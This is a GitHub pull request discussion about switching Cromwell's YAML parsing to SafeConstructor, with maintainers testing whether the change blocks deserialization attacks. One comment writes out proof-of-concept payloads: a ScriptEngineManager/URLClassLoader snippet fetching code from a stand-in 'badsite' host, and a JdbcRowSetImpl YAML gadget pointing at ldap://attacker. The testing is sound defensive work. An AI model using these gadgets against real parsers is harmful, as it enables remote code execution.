-
Notifications
You must be signed in to change notification settings - Fork 358
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Use best practice YAML parsing. Add security contact to README. [BW-833] #6510
Conversation
I wonder if it is due to Scala not having a Previously we (cwlviewer) were using a plain Perhaps you can construct a Scala proof of concept (and therefore test) by serializing the Scala equivalent of URL[] urls = new URL[1];
urls[0] = new URL("https://www.badsite.org/payload");
ScriptEngineManager foo = new ScriptEngineManager(new java.net.URLClassLoader(urls));
yaml.dump(foo); https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf suggests the following yaml to try as well: !!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true |
Thanks @mr-c, I modified the example a bit to be compatible with the classes present in our JVM and I do now see a difference between (Deliberately ommited
Old Cromwell, workflow succeeds with just some extra log messages:
New Cromwell, workflow is rejected:
|
Co-authored-by: Michael R. Crusoe <1330696+mr-c@users.noreply.github.com>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🎉
It looks like upgrading from
Constructor
toSafeConstructor
does not make much difference, Cromwell errors out and refuses to proceed with a similar message in both cases. But it seems like a good move anyway.With
SafeConstructor
:java -jar /Users/anichols/Projects/cromwell/server/target/scala-2.12/cromwell-70-1a6c161-SNAP.jar run test3.cwl
With
Constructor
:java -jar cromwell-69.jar run test3.cwl
: